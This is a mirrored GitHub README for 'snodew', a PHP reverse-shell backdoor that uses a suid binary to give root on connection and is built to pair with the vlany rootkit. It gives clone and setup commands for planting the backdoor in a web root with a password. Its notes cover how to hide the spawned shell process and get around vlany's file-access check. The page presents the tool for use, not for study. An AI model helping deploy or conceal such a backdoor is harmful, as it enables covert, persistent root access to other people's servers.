GithubHelp home page GithubHelp logo

snodew's Introduction

snodew

snodew is a PHP reverse shell backdoor which uses a small suid binary to escalate privileges on connection

snodew is made mainly to work alongside vlany but can also be setup as a regular root backdoor

usage

git clone https://github.com/mempodippy/snodew.git
cd snodew/
./setup.sh [install dir] [password] [hidden extended attribute] [magic gid]

example usage for regular (non-vlany infected) systems

cd /tmp
git clone https://github.com/mempodippy/snodew.git
cd snodew/
./setup.sh /var/www/html/blog sexlovegod X 0 # 'X' and '0' since extended attribute doesn't really matter,
                                             # and our suid binary will set our gid to 0


Result of successful setup


Result after following instructions given on our new page

notes

  • requires a web service to be running on the box (along with php support for the service package)
  • sh process spawned from service user is visible, though this could be subverted by checking /proc/self/cmdline and hiding the process if it contains the hidden suid bin
  • if not being used alongside some kind of rootkit, everything you do is visible
  • it's only a reverse shell
  • when vlany is installed, simply su'ing to the service user won't allow them to see the files. vlany checks to see if an apache environment variable is also exported before giving access to the file, and does the same for nginx so that - by default - the file can only be accessed from a browser or from an owner shell
  • exporting the apache environment variable that vlany checks, after su'ing to the service user will circumvent this
  • suid possibly disabled
  • not using 'exit' to exit the shell will leave the process spawned by the service in process lists (ps, top etc)

snodew's People

Watchers

 avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.